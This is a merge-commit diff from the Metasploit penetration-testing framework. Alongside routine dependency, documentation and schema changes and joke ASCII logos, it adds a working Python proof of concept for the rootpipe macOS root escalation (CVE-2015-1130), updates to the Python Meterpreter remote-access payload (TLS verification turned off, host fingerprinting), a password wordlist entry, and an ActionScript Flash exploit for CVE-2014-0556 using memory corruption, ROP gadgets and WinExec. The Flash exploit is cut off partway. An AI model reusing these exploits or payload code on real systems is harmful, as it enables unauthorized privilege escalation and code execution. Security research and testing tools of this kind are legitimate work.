Merge pull request #13 from jvazquez-r7/conflicts_4989

Solve conflicts
bug/bundler_fix
HD Moore 2015-04-21 23:11:13 -05:00
commit a07b68d06b
698 changed files with 20107 additions and 6093 deletions

12
.gitignore vendored
View File

@ -67,17 +67,7 @@ external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by
# the meterpreter_bins gem.
data/meterpreter/elevator.*.dll
data/meterpreter/ext_server_espia.*.dll
data/meterpreter/ext_server_extapi.*.dll
data/meterpreter/ext_server_incognito.*.dll
data/meterpreter/ext_server_kiwi.*.dll
data/meterpreter/ext_server_lanattacks.*.dll
data/meterpreter/ext_server_mimikatz.*.dll
data/meterpreter/ext_server_priv.*.dll
data/meterpreter/ext_server_stdapi.*.dll
data/meterpreter/metsrv.*.dll
data/meterpreter/screenshot.*.dll
data/meterpreter/*.dll
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,

View File

@ -38,3 +38,6 @@ branches:
except:
- gh-pages
- metakitty
addons:
postgresql: '9.3'

View File

@ -4,8 +4,8 @@ Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place!
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
Please try to be as specific as you can about your problem, include steps
to reproduce (cut and paste from your console output if it's helpful), and
Please try to be as specific as you can about your problem; include steps
to reproduce (cut and paste from your console output if it's helpful) and
what you were expecting to happen.
Are you about to report a security vulnerability in Metasploit itself?
@ -18,7 +18,7 @@ Metasploit module? If so, read on...
# Contributing to Metasploit
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
What you see here in CONTRIBUTING.md is a bullet point list of the do's
and don'ts of how to make sure *your* valuable contributions actually
make it into Metasploit's master branch.
@ -27,7 +27,7 @@ closed. Sorry!
This is intended to be a **short** list. The [wiki] is much more
exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup] guide,
look at the standard [development environment setup] guide
and Metasploit's [Common Coding Mistakes].
## Code Contributions
@ -52,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
- Even better would be to set up `msftidy.rb` as a [pre-commit hook].
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
@ -80,11 +80,11 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Don't** file duplicate reports - search for your bug before filing a new report.
* **Don't** file duplicate reports; search for your bug before filing a new report.
If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel]
or e-mail us at [metasploit-hackers] mailing list.
source contributors over on the [Freenode IRC channel],
or e-mail us at the [metasploit-hackers] mailing list.
Also, **thank you** for taking the few moments to read this far! You're
already way ahead of the curve, so keep it up!
@ -92,7 +92,7 @@ already way ahead of the curve, so keep it up!
[Issue Tracker]:http://r-7.co/MSF-BUGv1
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[development environment setup]:http://r-7.co/MSF-DEV
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
@ -104,10 +104,10 @@ already way ahead of the curve, so keep it up!
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
[API]:https://rapid7.github.io/metasploit-framework/api/
[RSpec]:http://rspec.info/
[Better Specs]:http://betterspecs.org/
[YARD]:http://yardoc.org/
[API]:https://rapid7.github.io/metasploit-framework/api
[RSpec]:http://rspec.info
[Better Specs]:http://betterspecs.org
[YARD]:http://yardoc.org
[Issues]:https://github.com/rapid7/metasploit-framework/issues
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers

View File

@ -7,9 +7,9 @@ PATH
bcrypt
jsobfu (~> 0.2.0)
json
metasploit-concern (~> 0.3.0)
metasploit-concern (= 0.4.0)
metasploit-model (~> 0.29.0)
meterpreter_bins (= 0.0.16)
meterpreter_bins (= 0.0.22)
msgpack
nokogiri
packetfu (= 1.1.9)
@ -22,9 +22,9 @@ PATH
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (~> 0.14.3)
metasploit-credential (= 0.14.5)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 0.23.0)
metasploit_data_models (= 0.24.0)
pg (>= 0.11)
metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev)
@ -101,45 +101,45 @@ GEM
gherkin (2.11.6)
json (>= 1.7.6)
hike (1.2.3)
i18n (0.6.11)
i18n (0.7.0)
journey (1.0.4)
jsobfu (0.2.1)
rkelly-remix (= 0.0.6)
json (1.8.1)
json (1.8.2)
mail (2.5.4)
mime-types (~> 1.16)
treetop (~> 1.4.8)
metasploit-concern (0.3.0)
metasploit-concern (0.4.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.14.3)
metasploit-concern (~> 0.3.0)
metasploit-credential (0.14.5)
metasploit-concern (= 0.4.0)
metasploit-model (~> 0.29.0)
metasploit_data_models (~> 0.23.0)
metasploit_data_models (= 0.24.0)
pg
railties (< 4.0.0)
rubyntlm
rubyzip (~> 1.1)
metasploit-model (0.29.0)
metasploit-model (0.29.2)
activesupport
railties (< 4.0.0)
metasploit_data_models (0.23.1)
metasploit_data_models (0.24.0)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
arel-helpers
metasploit-concern (~> 0.3.0)
metasploit-concern (= 0.4.0)
metasploit-model (~> 0.29.0)
pg
railties (< 4.0.0)
recog (~> 1.0)
meterpreter_bins (0.0.16)
meterpreter_bins (0.0.22)
method_source (0.8.2)
mime-types (1.25.1)
mini_portile (0.6.1)
mini_portile (0.6.2)
msgpack (0.5.11)
multi_json (1.0.4)
network_interface (0.0.1)
nokogiri (1.6.5)
nokogiri (1.6.6.2)
mini_portile (~> 0.6.0)
packetfu (1.1.9)
pcaprub (0.11.3)
@ -154,7 +154,7 @@ GEM
rack (>= 0.4)
rack-ssl (1.3.4)
rack
rack-test (0.6.2)
rack-test (0.6.3)
rack (>= 1.0)
rails (3.2.21)
actionmailer (= 3.2.21)
@ -175,9 +175,9 @@ GEM
rb-readline-r7 (0.5.2.0)
rdoc (3.12.2)
json (~> 1.4)
recog (1.0.16)
recog (1.0.27)
nokogiri
redcarpet (3.1.2)
redcarpet (3.2.3)
rkelly-remix (0.0.6)
robots (0.10.1)
rspec (2.99.0)
@ -219,7 +219,7 @@ GEM
treetop (1.4.15)
polyglot
polyglot (>= 0.3.1)
tzinfo (0.3.42)
tzinfo (0.3.43)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.8.7.4)

View File

@ -3,7 +3,7 @@ Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.pn
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
The latest version of this software is available from https://metasploit.com/
The latest version of this software is available from: https://metasploit.com
Bug tracking and development information can be found at:
https://github.com/rapid7/metasploit-framework
@ -20,8 +20,8 @@ Questions and suggestions can be sent to:
Installing
--
Generally, you should use [the free installer](https://www.metasploit.com/download)
which contains all dependencies and will get you up and running with a
Generally, you should use [the free installer](https://www.metasploit.com/download),
which contains all of the dependencies and will get you up and running with a
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
you'd like to deal with dependencies on your own.
@ -34,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki].
Contributing
--
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
walk you through the whole process starting from installing all the
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
walk you through the whole process from installing all the
dependencies, to cloning the repository, and finally to submitting a
pull request. For slightly more info, see
pull request. For slightly more information, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,73 @@
########################################################
#
# PoC exploit code for rootpipe (CVE-2015-1130)
#
# Created by Emil Kvarnhammar, TrueSec
#
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
def load_lib(append_path):
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
def use_old_api():
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
args = sys.argv
if len(args) != 3:
print "usage: exploit.py source_binary dest_binary_as_root"
sys.exit(-1)
source_binary = args[1]
dest_binary = os.path.realpath(args[2])
if not os.path.exists(source_binary):
raise Exception("file does not exist!")
pool = NSAutoreleasePool.alloc().init()
attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
print "will write file", dest_binary
if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
Authenticator = objc.lookUpClass("Authenticator")
ToolLiaison = objc.lookUpClass("ToolLiaison")
SFAuthorization = objc.lookUpClass("SFAuthorization")
authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()
# authref with value nil is not accepted on OS X <= 10.8
authent.authenticateUsingAuthorizationSync_(authref)
st = ToolLiaison.sharedToolLiaison()
tool = st.tool()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
client = WriteConfigClient.sharedClient()
client.authenticateUsingAuthorizationSync_(None)
tool = client.remoteProxy()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
print "Done!"
del pool

35
data/logos/pony-01.aftxt Normal file
View File

@ -0,0 +1,35 @@
 _________________________________________________ 
< This console just got 20% cooler >
 ------------------------------------------------- 
/
/ 
▀▄▄▄▄▄▄▄▄ / 
▀▀▄▄▄▄▄█▄▄▄▄ / 
▄███▄▄▄▄██▄██ / 
▄██▄█▄▄█▄▄██▄███ / 
▄██▄█████▄██▄▄█▄▄ / 
▄███████▄██▄▀▀▄▄██ / 
██████████▄▄▄ ██▄█ / 
██▄███▄███ ▀▀ ████ / 
▀███▄███▄▀ ███ / 
▀ ████▄▀ █▄█ / 
██▄▀█ ▄▄▄▄▄▄▄▄ / 
▀▄█ ▀ ▄▄█▄██████▄▄ / 
▀█ ███▄█████████ / 
▄███▄▄█████████ / 
███████▄██████▄▀ / 
█████▄▄█████████ 
▄▄███▄▀ █▄███████ ▄▄▄▄▄▄▄▄▄ 
▄▄█████ ▄█▄██▄████▄█▄█▄▄██▄▄██▄█▀ 
▀▄██▄▀▄▄▄███▄▄███▄██▄▄███▄▄███▄▄▄ 
▀▀ ▄███████████████▄▄▄██▄▄███▀▄ 
████▄█████████▄▄▄▄▄█▄▄▄▄▄███ 
███████▄█████▄▄████▄▄██▄██▀▄██ 
▀▀▄▄██████▄██████▄▄▄████▄▄ ▀▀▀ 
▄▄██████████▄▄█▄▄▄▄▄██▄▄▄ 
██▄█████████▄▄▄██████████ 
▀▀ █▄████ ███▄█▄▄▄▄▄▄▄▀▀ 
▄▄████ ████▄██ 
▀▄████ ██▄███ 
▀▄▄▀ ██▀█▀▀ 
█ 

31
data/logos/pony-02.aftxt Normal file
View File

@ -0,0 +1,31 @@
 __________________ 
< Shells are cool. >
 ------------------ 
\ 
\ 
\ 
\ 
\ ▄▄▄▄▄▄▄▄▄ 
███████████ 
▄▄██████████ 
▄▄███████████▄▄ 
▄███████████▄▄▄█▄▄ 
▄▄██▄▄▄▄▄▄▄▄▄███▄▄█▄▄ 
▄▄████▄▄███████████████ 
████████▄▄▄▄█████████▄▀ 
███████▄███▄▄████████ 
▄▄▄███████▄█▄█████████▄▀ ▄▄▄▄▄▄ 
▀▄▄███████▄▄▄███████▄▀ ▄▄██████▄▄█▀ 
▀▄▄▄██████▄█████▄▀ ▄▄███████████▄ 
▀▀▀▀▀▀█▄███▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀▄██████▄▄
███▄▄█▄██████████▄▄ █████▄▄█
▄███▄█████████▄█▄██ ▄▄████ ▀
▀▀▄██████████▄▄▄▄▀ ▀▀ ██▄▀ 
█████▄▄▄▄█▄███▄▄ █▄▀ 
██████ ▀▄▄██████ ▀ 
▄▄▄████ ████████ 
███████ █████████ 
▄█▄▄█████ █████████ 
█▄███████ █▄▄███████ 
█▄▄▄▄▄█ █▄▄▄▄▄█ 


27
data/logos/pony-03.aftxt Normal file
View File

@ -0,0 +1,27 @@
 ______________________________ 
< I love SHELLS! >
 ------------------------------ 
\ 
\ 
\ 
▄▄██▄█▄▄▄▄ 
▄▄█████▄▄▄▄█▄▄ 
▄▄▄██████████▄▄▄▀ 
██▄▄█▄▄▄▄█▄▄█▄█ 
██▄▄▄████▄▄▄████ 
▄▄████▄▄▄██▄█▄▄▀ 
▄▄▄▄▄▄▄▄▄▄ ██▄█▄▄██▄▄▄▄▄██▄▄█
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄██▄█████▄▄▄▀▀ 
▄▄████▄▄▄▄▄▄▄▄▄▄ ██▄▄▄▄███████▄▄▄ 
█████▄▄▄▄▄▀▀▄▄▄▄▄▄██▄▄▄█▄███▄█▀▀▀ 
████▄█▄█ █▄██▄▄█▄▄▄██▄███ 
▀▄▄▄▄█▄▄▄ ██▄█▄██▄▄▄▄▄█▄███ 
▀▄██▄▄██▄█ ██▄█▄██▄█▄▄█████ 
█▄█▄███▄▄█ ████▄▄█▄▄▄██▄█ 
▄██ ███▄██▄███ ▄▄▄█▄▄▄█▀▀██████ 
▀▄▄█▄█▄▄█▄██▀▀▀ ▄▄██▄▄██ ██████ 
▀▄▄▀██▄▄▀▀▀ ▄▄█████▄▀ ▄▄█████ 
▀▀▀ ▄▄███████ ███████ 
▄▄███▄▄██ ▄▄███████ 
██████▀▀▀ ▀▄████▀▀▀ 
▀▀▀▀▀▀ ▀▀▀ 

29
data/logos/pony-04.aftxt Normal file
View File

@ -0,0 +1,29 @@
 ____________________________________ 
< My Little Pwny: Exploits are Magic >
 ------------------------------------ 
\ 
\ 
\ 
▄▄▄▄▄▄▄▄▄▄ 
▄▄█████████▄▄▄▄▄▄▄ 
█▄▄▄████████▄▄▄▄████
█▄▄▄██▄█████▄████████
▄▄▄██████▄▄▄▄▄▄▄▄▄██▄▀ 
████▄████▄▄▄▄▄▄██▄▄█▄▄ 
██████████████████████ 
▀▄███▄███▄██▄▄▄████▀▀ 
▄▄▄▄▄▄▄▄▄ ▀▄██▄▄██▄▄█▄▄▄▄███▄ 
▄▄█████████▄▄ ▀█▄█████▄█▄▄▄█▄███ 
███████▄▀▀▀▄█▄▄ ▄▄█▄▄█▄▄█▄▄▄▄▄▄▀▀ 
████████ ▀▄▄▄▄▄███▄██▄▄▄██ 
████████ ▄▄ ▄▄█████▄▄▄▄██████ 
████████▄▄██ ███████████████▄▀ 
▀▄██████▄▄▄▀ ▀▄████████████▄▀ 
▄▄████▄▄██ ▄███▄█▄▄▄▄██▄██ 
█████████▄▀ █████▄▄▀ ██████ 
███▄███▀▀ ███████ ███▄▄▄▄ 
▀▄▄▄▀ ████████ ███████ 
████████ ████▄▄██▄ 
██████▄▄█ ██████▄▄█ 
█▄▄▄▄█ █▄▄▄▄█ 


24
data/logos/pony-05.aftxt Normal file
View File

@ -0,0 +1,24 @@
 ______________________ 
< FREE SHELLS FOREVER!!! >
 ---------------------- 
\ 
\ ▄██▄▄▄ ▄▄▄ 
\ ███▄▄█▄▄▄▄▄▄▄▄▄ 
▄▄▄███▄▄██▄██████▄▄ 
▄▄▄▄█▄▄██▄▄▄▄▄▄▄▄█▄████ 
████▄▄██▄▄██▄▄▄█▄██▄████ ▄█▄▄▄▄ 
████ █▄██▄▄███▄▄▄█▄▄▄██ ▄▄▄▄▄▄█▄█▄▄▄█▄▄ 
███ ██████████▄██████ ██▄▄▄▄█▄▄▄██████ 
▀▄██ ▄█▄▄█▄████▄▄█▄▄▄█▄▄▄▄█▄▄█████▄▄████████ 
▀█ ███▄██████████▄▄███▄██▄▄██████▄▄███████ 
▄▀ ▀▀█▄▄▄▄▄███▄▄▄▄▄▄▄██▄███▄███▄▄██████▄▀ 
▀ ██▄▄██▄▄█▄▄▄▄▄▄▄ ▀▀▄▄█▄▄▄███▄▄ 
█████▄▄█▄▄███▄▄▄█ ████▄▄███▄▄
█▄▄█▄▄▄▄▄█▄██▄▄█ ███▄█▄▄▄█▄██
▄▄▄█▄█████▄████ ▀▄█████▄▄██▀
▄█▄▄▄▄███▀▄█▄████▄█ ▀▄█▄▄███ ▄
▄▄██▄██▄▄▄▀█▄███▄██▄▀ ▄▄█▄█▄▄█
█▄██████ ███▄▄███▄▀ ▀▄▄▄▄▀▀ 
██████ ▀▀███████ 
▀▀▀▀▀▀ ▀▀▀▀▀▀ 


View File

@ -1,6 +1,7 @@
#!/usr/bin/python
import code
import os
import platform
import random
import select
import socket
@ -141,6 +142,8 @@ TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
@ -264,7 +267,7 @@ def tlv_pack(*args):
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:
value = tlv['value']
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']):
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
@ -393,11 +396,17 @@ class PythonMeterpreter(object):
print(msg)
def driver_init_http(self):
opener_args = []
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname=False
ssl_ctx.verify_mode=ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if HTTP_PROXY:
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
opener = urllib.build_opener(proxy_handler)
else:
opener = urllib.build_opener()
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
opener = urllib.build_opener(*opener_args)
if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener)
@ -560,6 +569,36 @@ class PythonMeterpreter(object):
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
def _core_machine_id(self, request, response):
serial = ''
machine_name = platform.uname()[1]
if has_windll:
from ctypes import wintypes
k32 = ctypes.windll.kernel32
sys_dir = ctypes.create_unicode_buffer(260)
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
return ERROR_FAILURE_WINDOWS
vol_buf = ctypes.create_unicode_buffer(260)
fs_buf = ctypes.create_unicode_buffer(260)
serial_num = wintypes.DWORD(0)
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
None, fs_buf, ctypes.sizeof(fs_buf)):
return ERROR_FAILURE_WINDOWS
serial_num = serial_num.value
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
else:
for _, _, files in os.walk('/dev/disk/by-id/'):
for f in files:
if f[:4] == 'ata-':
serial = f[4:]
break
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
return ERROR_SUCCESS, response
def _core_loadlib(self, request, response):
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
@ -710,7 +749,7 @@ class PythonMeterpreter(object):
resp = struct.pack('>I', len(resp) + 4) + resp
return resp
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if not hasattr(os, 'fork') or has_osxsc or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'):
try:
os.setsid()

Binary file not shown.

View File

@ -1002,3 +1002,4 @@ sq!us3r
adminpasswd
raspberry
74k&^*nh#$
arcsight

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20150212214222) do
ActiveRecord::Schema.define(:version => 20150326183742) do
create_table "api_keys", :force => true do |t|
t.text "token"
@ -19,6 +19,54 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
t.datetime "updated_at", :null => false
end
create_table "automatic_exploitation_match_results", :force => true do |t|
t.integer "match_id"
t.integer "run_id"
t.string "state", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "automatic_exploitation_match_results", ["match_id"], :name => "index_automatic_exploitation_match_results_on_match_id"
add_index "automatic_exploitation_match_results", ["run_id"], :name => "index_automatic_exploitation_match_results_on_run_id"
create_table "automatic_exploitation_match_sets", :force => true do |t|
t.integer "workspace_id"
t.integer "user_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id"
add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id"
create_table "automatic_exploitation_matches", :force => true do |t|
t.integer "module_detail_id"
t.string "state"
t.integer "nexpose_data_vulnerability_definition_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.integer "match_set_id"
t.string "matchable_type"
t.integer "matchable_id"
t.text "module_fullname"
end
add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id"
add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname"
create_table "automatic_exploitation_runs", :force => true do |t|
t.integer "workspace_id"
t.integer "user_id"
t.integer "match_set_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "automatic_exploitation_runs", ["match_set_id"], :name => "index_automatic_exploitation_runs_on_match_set_id"
add_index "automatic_exploitation_runs", ["user_id"], :name => "index_automatic_exploitation_runs_on_user_id"
add_index "automatic_exploitation_runs", ["workspace_id"], :name => "index_automatic_exploitation_runs_on_workspace_id"
create_table "clients", :force => true do |t|
t.integer "host_id"
t.datetime "created_at"
@ -155,19 +203,22 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
end
create_table "loots", :force => true do |t|
t.integer "workspace_id", :default => 1, :null => false
t.integer "workspace_id", :default => 1, :null => false
t.integer "host_id"
t.integer "service_id"
t.string "ltype", :limit => 512
t.string "path", :limit => 1024
t.string "ltype", :limit => 512
t.string "path", :limit => 1024
t.text "data"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "content_type"
t.text "name"
t.text "info"
t.integer "module_run_id"
end
add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id"
create_table "macros", :force => true do |t|
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
@ -359,6 +410,26 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
create_table "module_runs", :force => true do |t|
t.datetime "attempted_at"
t.text "fail_detail"
t.string "fail_reason"
t.text "module_fullname"
t.integer "port"
t.string "proto"
t.integer "session_id"
t.string "status"
t.integer "trackable_id"
t.string "trackable_type"
t.integer "user_id"
t.string "username"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "module_runs", ["session_id"], :name => "index_module_runs_on_session_id"
add_index "module_runs", ["user_id"], :name => "index_module_runs_on_user_id"
create_table "module_targets", :force => true do |t|
t.integer "detail_id"
t.integer "index"
@ -481,13 +552,16 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
t.integer "port"
t.string "platform"
t.text "datastore"
t.datetime "opened_at", :null => false
t.datetime "opened_at", :null => false
t.datetime "closed_at"
t.string "close_reason"
t.integer "local_id"
t.datetime "last_seen"
t.integer "module_run_id"
end
add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id"
create_table "tags", :force => true do |t|
t.integer "user_id"
t.string "name", :limit => 1024

182
external/source/exploits/CVE-2014-0556/Main.as vendored Executable file
View File

@ -0,0 +1,182 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.BitmapData
import flash.geom.Rectangle
import flash.utils.ByteArray
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
private var uv:Vector.<Object> = new Vector.<Object>(12800)
private var bd:BitmapData = new BitmapData(128, 16)
private var i:uint = 0
public function Main()
{
var b64:Base64Decoder = new Base64Decoder()
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
var payload:String = b64.toByteArray().toString()
for (i = 0; i < bv.length; i++) {
bv[i] = new ByteArray()
bv[i].length = 0x2000
bv[i].position = 0xFFFFF000
}
for (i = 0; i < bv.length; i++)
if (i % 2 == 0) bv[i] = null
for (i = 0; i < uv.length; i++) {
uv[i] = new Vector.<uint>(1022)
}
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
for (i = 0; ; i++)
if (uv[i].length == 0xffffffff) break
for (var i2:uint = 1; i2 < uv.length; i2++) {
if (i == i2) continue
uv[i2] = new Vector.<Object>(1014)
uv[i2][0] = bv[6401]
uv[i2][1] = this
}
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
bv[6401].endian = "littleEndian"
bv[6401].length = 0x500000
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
var main:uint = uv[i][0xfffffc09] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
byte_write(uv[i][0])
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer + 0x100, payload, true)
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x80)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x100)
byte_write(0)
byte_write(main, buffer + 0x20000)
this.toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) bv[6401].position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
if (zero) bv[6401].writeByte(0)
} else bv[6401].writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
bv[6401].position = addr
switch(type) {
case "dword":
return bv[6401].readUnsignedInt()
